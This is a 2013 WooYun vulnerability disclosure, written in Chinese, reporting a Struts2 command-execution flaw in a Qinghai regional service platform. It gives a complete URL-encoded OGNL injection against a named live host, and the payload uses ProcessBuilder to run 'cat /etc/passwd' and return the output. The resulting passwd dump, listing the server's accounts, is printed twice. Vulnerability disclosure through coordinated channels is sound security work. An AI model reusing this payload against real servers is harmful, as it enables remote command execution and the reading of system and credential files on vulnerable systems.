当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-029595

漏洞标题:青海某服务平台命令执行struts2

相关厂商:青海省经济委员会

漏洞作者: x1aoh4i

提交时间:2013-07-19 11:39

修复时间:2013-09-02 11:40

公开时间:2013-09-02 11:40

漏洞类型:命令执行

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-07-19: 细节已通知厂商并且等待厂商处理中
2013-07-23: 厂商已经确认,细节仅向厂商公开
2013-08-02: 细节向核心白帽子及相关领域专家公开
2013-08-12: 细节向普通白帽子公开
2013-08-22: 细节向实习白帽子公开
2013-09-02: 细节向公众公开

简要描述:

中国移动无线城市

详细说明:

1.我是在vps里提交的,本地上不去啦 坑死啦
2.看地址
http://qqh.wxcs.cn/news/getNewsList.action?redirect:${%23a%3d%28new
%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cat%27,%27/etc/passwd
%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew
%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e
%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get
%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter
%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close
%28%29}
3.看代码

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/bash
daemon:x:2:2:Daemon:/sbin:/bin/bash
lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash
mail:x:8:12:Mailer daemon:/var/spool/clientmqueue:/bin/false
games:x:12:100:Games account:/var/games:/bin/bash
wwwrun:x:30:8:WWW daemon apache:/var/lib/wwwrun:/bin/false
ftp:x:40:49:FTP account:/srv/ftp:/bin/bash
nobody:x:65534:65533:nobody:/var/lib/nobody:/bin/bash
messagebus:*:100:101:User for D-Bus:/var/run/dbus:/bin/false
haldaemon:*:101:102:User for haldaemon:/var/run/hald:/bin/false
sshd:*:71:65:SSH daemon:/var/lib/sshd:/bin/false
man:x:13:62:Manual pages viewer:/var/cache/man:/bin/bash
news:x:9:13:News system:/etc/news:/bin/bash
uucp:x:10:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/bash
uuidd:x:102:103:User for uuidd:/var/run/uuidd:/bin/false
quagga:x:103:106:Quagga routing daemon:/var/run/quagga:/usr/bin/false
postfix:x:51:51:Postfix Daemon:/var/spool/postfix:/bin/false
ldap:x:76:70:User for OpenLDAP:/var/lib/ldap:/bin/bash
mysql:x:60:109:MySQL database admin:/var/lib/mysql:/bin/false
dnsmasq:x:105:65534:dnsmasq:/var/lib/empty:/bin/false
cyrus:x:96:12:User for cyrus-imapd:/usr/lib/cyrus:/bin/bash
vscan:x:65:110:Vscan account:/var/spool/amavis:/bin/false
named:x:44:44:Name server daemon:/var/lib/named:/bin/false
at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash
squid:x:31:65534:WWW-proxy squid:/var/cache/squid:/bin/false
ntp:x:74:111:NTP daemon:/var/lib/ntp:/bin/false
mailman:x:72:67:GNU mailing list manager:/var/lib/mailman:/bin/bash
fetchmail:x:106:2:mail retrieval daemon:/var/lib/fetchmail:/bin/false
polkituser:x:107:112:PolicyKit:/var/run/PolicyKit:/bin/false
pulse:x:108:113:PulseAudio daemon:/var/lib/pulseaudio:/bin/false
dhcpd:x:109:65534:DHCP server daemon:/var/lib/dhcp:/bin/false
suse-ncc:x:110:115:Novell Customer Center User:/var/lib/YaST2/suse-ncc-fakehome:/bin/bash
gdm:x:111:116:Gnome Display Manager daemon:/var/lib/gdm:/bin/false
ftpsecure:x:112:65534:Secure FTP User:/var/lib/empty:/bin/false
strm:x:1221:1201::/home/huawei/mdn2000:/bin/bash
strmftp:x:1222:1201::/home/ftpdir:/bin/bash
wxcsqqh:x:1223:100::/home/wxcsqqh:/bin/bash
oracle:x:300:107::/home/oracle:/bin/bash
inst01:x:1224:100::/home/inst01:/usr/bin/ksh
inst02:x:1225:100::/home/inst02:/usr/bin/ksh

漏洞证明:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/bash
daemon:x:2:2:Daemon:/sbin:/bin/bash
lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash
mail:x:8:12:Mailer daemon:/var/spool/clientmqueue:/bin/false
games:x:12:100:Games account:/var/games:/bin/bash
wwwrun:x:30:8:WWW daemon apache:/var/lib/wwwrun:/bin/false
ftp:x:40:49:FTP account:/srv/ftp:/bin/bash
nobody:x:65534:65533:nobody:/var/lib/nobody:/bin/bash
messagebus:*:100:101:User for D-Bus:/var/run/dbus:/bin/false
haldaemon:*:101:102:User for haldaemon:/var/run/hald:/bin/false
sshd:*:71:65:SSH daemon:/var/lib/sshd:/bin/false
man:x:13:62:Manual pages viewer:/var/cache/man:/bin/bash
news:x:9:13:News system:/etc/news:/bin/bash
uucp:x:10:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/bash
uuidd:x:102:103:User for uuidd:/var/run/uuidd:/bin/false
quagga:x:103:106:Quagga routing daemon:/var/run/quagga:/usr/bin/false
postfix:x:51:51:Postfix Daemon:/var/spool/postfix:/bin/false
ldap:x:76:70:User for OpenLDAP:/var/lib/ldap:/bin/bash
mysql:x:60:109:MySQL database admin:/var/lib/mysql:/bin/false
dnsmasq:x:105:65534:dnsmasq:/var/lib/empty:/bin/false
cyrus:x:96:12:User for cyrus-imapd:/usr/lib/cyrus:/bin/bash
vscan:x:65:110:Vscan account:/var/spool/amavis:/bin/false
named:x:44:44:Name server daemon:/var/lib/named:/bin/false
at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash
squid:x:31:65534:WWW-proxy squid:/var/cache/squid:/bin/false
ntp:x:74:111:NTP daemon:/var/lib/ntp:/bin/false
mailman:x:72:67:GNU mailing list manager:/var/lib/mailman:/bin/bash
fetchmail:x:106:2:mail retrieval daemon:/var/lib/fetchmail:/bin/false
polkituser:x:107:112:PolicyKit:/var/run/PolicyKit:/bin/false
pulse:x:108:113:PulseAudio daemon:/var/lib/pulseaudio:/bin/false
dhcpd:x:109:65534:DHCP server daemon:/var/lib/dhcp:/bin/false
suse-ncc:x:110:115:Novell Customer Center User:/var/lib/YaST2/suse-ncc-fakehome:/bin/bash
gdm:x:111:116:Gnome Display Manager daemon:/var/lib/gdm:/bin/false
ftpsecure:x:112:65534:Secure FTP User:/var/lib/empty:/bin/false
strm:x:1221:1201::/home/huawei/mdn2000:/bin/bash
strmftp:x:1222:1201::/home/ftpdir:/bin/bash
wxcsqqh:x:1223:100::/home/wxcsqqh:/bin/bash
oracle:x:300:107::/home/oracle:/bin/bash
inst01:x:1224:100::/home/inst01:/usr/bin/ksh
inst02:x:1225:100::/home/inst02:/usr/bin/ksh

修复方案:

版权声明:转载请注明来源 x1aoh4i@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2013-07-23 22:08

厂商回复:

最新状态:

暂无